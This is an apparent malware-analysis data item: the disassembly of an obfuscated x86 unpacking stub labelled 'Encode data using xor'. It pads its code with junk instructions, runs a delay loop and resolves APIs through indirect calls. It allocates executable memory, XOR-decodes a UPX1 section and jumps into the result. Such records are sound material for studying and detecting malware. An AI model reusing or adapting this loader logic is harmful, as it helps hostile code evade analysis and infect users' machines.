Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb0d777c4
mov ecx, 0xc33a729b
inc edx
popal
sub edx, 0x76a1d37c
add ecx, edx
or ecx, edx
mov edx, 0
mov edi, ecx
and ebx, ebx
sub ebx, 1
mov eax, edi
add esi, esi
sub ebx, esi
mov ecx, eax
add esi, 0x458faf55
add ebx, 0xc69c39b1
inc edx
add ebx, 0x57525d86
add esi, 0x22f05a21
cmp edx, 0x100f46b
jne 0xa789c8
inc ebx
sub ebx, 0xcae5f45b
not edx
add edx, edx
add edx, edx
mov edi, 0xa78796
mov ebx, 0xe4d19519
sub ebx, 1
mov esi, 0xa7898a
mov eax, 0x9a762aca
and ecx, eax
dec eax
mov edx, dword [edi]
and ecx, eax
mov ebx, eax
mov eax, 0x54263732
and edx, 0xff
and ebx, ecx
or ecx, eax
add eax, 0xb8ae8e0b
xor dword [esi], edx
add ecx, ecx
add ecx, 0xfb495aa7
add esi, 1
or ecx, ecx
mov ebx, 0x33f0d48a
inc eax
add edi, 1
and ebx, ebx
sub ebx, eax
add ecx, ecx
cmp esi, entry0
jl 0xa78a29
or ecx, ecx
add ebx, ecx
add eax, ecx
sub ebx, 0x14f64ed9
or ebx, ecx
dec edi
add edx, 0x3c4463e2
mov esi, 0xa7898e
dec edx
inc edi
dec edx
mov esi, dword [esi]
dec ecx
or ebx, edi
mov esi, dword [esi]
add edx, 0x678fee7f
or edi, edi
mov ebx, 0x34a2d59a
sub esp, 4
mov dword [esp], esi
mov edx, ebx
mov ecx, ebx
mov esi, 0xa7898a
mov edx, 0x635fe182
and ecx, edx
mov esi, dword [esi]
mov edi, 0x4c136a34
sub ebx, edx
not ecx
mov esi, dword [esi]
dec edx
add ebx, 0xc90cf609
push 0xa78992
or edx, ecx
or ebx, edi
add ecx, edi
call esi
and edi, ecx
add edx, 1
pop esi
dec edi
sub edx, 1
inc ebx
push 0xa7899f
or edx, ecx
sub ebx, 0x8cb5ba96
sub edi, ebx
push eax
add ecx, 0xd6e421f7
inc edi
call esi
add ebx, 0xe94fcb5f
sub edx, 1
mov edi, edx
push 0x40
add ecx, ecx
not ecx
sub ebx, 0x759f8a0
push 0x3000
sub edx, 0x597fca48
mov edi, 0x2515b5b
sub esp, 4
mov dword [esp], 0x20000b9a
add edx, 0x8f962603
add edx, edi
mov edx, 0xc1ccc13e
sub esp, 4
mov dword [esp], 0
add edx, 0x3e200dd0
mov edx, edi
call eax
inc edi
mov ebx, 0x1b9fd21b
sub ebx, 0xe2073bf6
add eax, 0x20000b18
dec ebx
sub edx, 1
mov edx, 0xf554faa5
mov esi, 0xcbdd3deb
mov ecx, ebx
and edx, ecx
or ecx, ecx
mov dword [eax], esi
add edi, ebx
add ecx, edx
add edx, 0xfa41e884
mov esi, dword [eax]
not ecx
inc ecx
cmp esi, 0xcbdd3deb
je 0xa78ba7
mov edx, 0
mov dword [edx], ebx
not ebx
mov ecx, 0xe17da985
inc edi
not ebx
not ebx
not ecx
mov ecx, edx
mov ebx, section.UPX1
add edx, 0x234b00b7
add ecx, ecx
and edx, edx
mov edi, 0xa78795
mov ecx, 0x4812c720
mov ecx, 0x653407e0
mov eax, 0
sub ecx, 0x3ab96aa
mov ecx, 0x1d28b254
mov esi, 0xa78796
mov edx, 0x6d8d5cf9
or ecx, edx
sub edx, ecx
lea esi, [esi + eax]
mov edx, 0xb741a915
sub edx, 0xc23f73e2
sub edx, ecx
mov esi, dword [esi]
inc edx
dec ecx
or ecx, ecx
and esi, 0xff
sub ecx, 0x52918163
mov edx, ecx
add eax, 1
dec ecx
sub ecx, edx
inc edx
cmp eax, 0x1f4
jne 0xa78c2e
mov eax, 0
sub edx, ecx
add ecx, 1
not edx
or edx, edx
inc ecx
xor dword [ebx], esi
and edx, ecx
add edx, 0x4b2770e1
add ebx, 2
add edx, 0x549d34a9
sub edx, 0xa6fc8777
or edx, edx
cmp ebx, edi
jl 0xa78be5
inc ecx
sub ecx, edx
and edx, ecx
and ecx, ecx
sub edx, 1
mov ecx, section.UPX1
sub ebx, eax
mov ebx, 0xd01a83b8
add ebx, eax
mov esi, section.UPX1
not ebx
dec ebx
add eax, 0x40430f72
mov edi, 0xa78795
mov eax, ebx
or ebx, eax
mov edx, 0
not ebx
dec ebx
mov dl, byte [esi]
sub eax, ebx
not eax
not eax
mov byte [ecx], dl
add ebx, 0x24506a07
sub eax, 1
inc ecx
sub eax, ebx
add ebx, 0xbdc105a2
add esi, 2
add eax, ebx
not eax
mov ebx, eax
cmp esi, edi
jle 0xa78c9b
mov ebx, 0xbb9359ef
and eax, eax
sub ebx, 0xc1d90d8d
add edx, 1
dec edx
mov edx, 0x73e3a2d1
push 0x8dc6a0
dec edx
or edx, ecx
or edx, edx
ret